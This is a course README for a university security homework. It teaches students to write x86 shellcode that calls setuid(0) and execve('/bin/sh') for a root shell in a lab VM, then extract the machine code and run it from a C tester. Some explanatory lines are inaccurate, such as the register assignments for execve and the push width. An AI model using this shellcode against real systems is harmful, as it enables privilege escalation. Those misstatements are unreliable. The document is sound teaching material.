Skip to content

cnslab-kwangwoon/cs3874_shellcoding

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

17 Commits
 
 

Repository files navigation

How-To-Shellcoding (CS3874)

This repository outlines the process of creating shellcode to complete Homework 2 in CS3874 (Advanced Information Security Theory) at Kwangwoon University.

From our lecture 5, we learned how to create a basic machine code that prints out "Hello World!". But, just so you know, from page 42 in lecture5.pdf, I mentioned that we should write a shell code that creates a shell instead of printing out.

Now, let's take a step-by-step approach to do so.

Prerequisite

Note: I recommend you use ssh_qemu.sh after running our QEMU VM with run_qemu.sh to copy and paste the command or code in this document.

The following code, named shell.c, executes a /bin/sh.

#include <stdio.h>
void main(void){ 
	char* argv[] = { "/bin/sh", NULL }; 
	execve("/bin/sh", argv, NULL); 
} 

We can copy and paste it to your code editor (e.g., VI) so that we can compile it for execution. You should utilize the following command:

gcc -o shell shell.c

The command creates a binary shell and you can execute it for testing. The binary drops a simple shell like:

$

You successfully opened a basic shell (/bin/sh, which is actually dash in Ubuntu 16.04). However, you may find that the shell is not a root shell, because the root shell should look like this, as I mentioned in our class:

#

Understanding SetUID

We learned what SetUID is from lecture 7. Let's utilize a setuid bit in the binary. Use the following command:

chmod 4755 shell

This sets the setuid bit on the shell binary. You can check if this is true:

ls -alh shell
-rwsr-xr-x 1 user user 7.3K Oct  8 19:55 shell

The 's' character denotes the setuid permission granted on the shell binary. Now let's also make the binary belong to the root user: (Note: the password of sudo command is cs3874.)

sudo chown root:root shell

Now the owner of the binary is root, which means that the euid (Effective User ID) becomes root even if other users execute it.

However, you will find that this binary won't get a root shell. This is because /bin/sh, which is a symbolic link of dash, drops the root privilege if euid and ruid (Real User ID) are not the same. Thus, we should make a minor modification to shell.c as follows:

#include <stdio.h>
void main(void){ 
    setuid(0); // this makes euid=ruid=0
	char* argv[] = { "/bin/sh", NULL }; 
	execve("/bin/sh", argv, NULL); 
} 

Calling setuid(0) makes ruid 0 as well, so this prevents /bin/sh from dropping the root privilege. Let's see if this code works.

Assembly Code for Dropping a Root Shell

Now our goal is clear. To get a root shell, we should call (i) setuid(0) and (ii) execve("/bin/sh", argv, NULL). Let's create a shell.s through VI in the terminal to write an assembly code that calls these functions. We will start from the following skeleton code, available on page 42 of lecture5.pdf.

.att_syntax prefix 
.global main
main:
	# Homework problem 
	# This is a comment 

First step is to call setuid(0). How to do so? You should know the system call convention in x86, which uses EAX, EBX, ECX, and EDX registers, as I mentioned in our lecture. In this case, EAX should be the syscall number of setuid, which is available from the following file:

/usr/include/i386-linux-gnu/asm/unistd_32.h

You can open up through vi or nano command. You will find out that the number of setuid syscall number is 23, so the EAX should be 23. The EBX register should be 0 clearly because it is the 1st argument of setuid. Now we end up writing the following code:

.att_syntax prefix 
.global main

main:
    movl $0x17, %eax # setuid syscall number
    movl $0x0, %ebx  # setuid argument
    int $0x80        # call interrupt

Let's move on to the execve part. As you may find from unistd_32.h, its syscall number is 11, so the EAX register will be 0xb. What about EBX, ECX, and EDX? This is a tricky point in coding execve, so let's look at the execve call again:

char* argv[] = { "/bin/sh", NULL };
execve("/bin/sh", argv, NULL);

The 1st argument is the address of /bin/sh (i.e., target path) while the 2nd argument is the address of the argument list of the target path. You can see that we put no arguments on /bin/sh, so the argv array only contains the target path and terminates with NULL. In this case, the address of argv array should be injected into the EBX register. The 3rd argument is NULL, which should be the ECX register. If we create a skeleton code for the discussion so far, it looks like:

	movl $0xb, %eax              # execve syscall number
	movl addr_of_/bin/sh, %ebx   # execve 1st argument
    movl addr_of_argv, %ecx      # execve 2nd argument
    movl $0x0, %edx              # execve 3rd argument
    int $0x80                    # call interrupt

Now, the problem is how we know both (i) addr_of_/bin/sh and (ii) addr_of_argv. We can take a similar approach we have done in the previous machine code that prints out Hello World!. Thus, we can put the string /bin/sh and NULL to the stack and utilize the address of the ESP. To push the string to the stack, we should know the hexadecimal values of the string /bin/sh:

echo -n -e '/bin/sh' | xxd -p

which prints out 2f62696e2f7368 to the shell. How do we push these values to the stack? As we learned in our lecture and previous tutorial, we should follow the little-endian of x86, so we need to inject the values in a reverse order:

    pushl $0x68732f # hs/
    pushl $0x6e69622f # nib/

Note that technically, push can put 8 bytes, but /bin/sh is 7 bytes. So we put /bin/sh with NULL to align with 4 bytes and make sure that the string is NULL-terminated.

    pushl $0x0068732f # NULLhs/
    pushl $0x6e69622f # nib/
    movl %esp, %ebx   # execve 1st argument

If we inject the ESP into the EBX register, this will be the same as putting the address of /bin/sh into the EBX register. Next, we need the argv array on the stack, which is char* argv[] = { "/bin/sh", NULL };.

	pushl $0x0		# NULL value
    pushl %ebx		# addr. of `/bin/sh`
    movl %esp, %ecx # execve 2nd argument

So far, the stack diagram should look like this:

High	––––––––––
		0x0068732f 
		––––––––––
		0x6e69622f (addr.of /bin/sh, EBX)
        ––––––––––
        0x0        (NULL)
        ––––––––––
        addr. of /bin/sh (ESP, ECX)
LOW

Let's finalize this process by assigning 0 to $EDX, which is the 3rd argument of execve.

    movl $0x0, %edx

The full assembly code is as follows:

.att_syntax prefix
.global main
main:

    movl $0x17, %eax    # setuid syscall number
    movl $0x0, %ebx     # setuid argument
    int $0x80           # call interrupt

    pushl $0x0068732f   # hs//
    pushl $0x6e69622f   # nib/
    movl %esp, %ebx     # execve 1st argument

    pushl $0x0          # NULL value
    pushl %ebx          # addr. of `/bin/sh`
    movl %esp, %ecx     # execve 2nd argument

    movl $0x0, %edx     # execve 3rd argument
    int $0x80           # call interrupt

You could check if this code works by compiling and granting the necessary permissions:

gcc -m32 -o shell shell.s
sudo chown root:root shell
sudo chmod 4755 shell

If you observe #, you successfully got the root shell. You can double-check this using the following command:

# id
uid=0(root) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev
),110(lxd),115(lpadmin),116(sambashare)

Extracting Machine Code

Now we should extract the machine code from the shell binary in the same way we have done before. Use the following command:

objdump -d shell > output

This creates the output of objdump in the current directory. Open it with VI or nano editor and find the <main> section. You can copy the machine code segment by dragging it. (In WezTerm, you can utilize Alt+Drag to drag it vertically). You can paste it to the external editor, Sublime Text, for example.

After making it a suitable format recognizable in C, we can test it by pasting it to tester.c whose code is as follows:

int main() {
    char* code = "YOUR MACHINE CODE";

    void (*pointer)();
    pointer = (void *)code;
    pointer();
}

YOUR_MACHINE_CODE should be replaced with the machine code extracted from shell. You can finally test if this works:

gcc -o tester tester
sudo chown root:root tester
sudo chmod 4755 tester

TODO: Optimizing Machine Code

As we previously learned, this machine code is NOT optimized because it involves NULL bytes. So, the machine code will not be fully copied to string functions (e.g., strcpy). Your next task is to optimize this machine code with the techniques we have learned in our lecture.

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors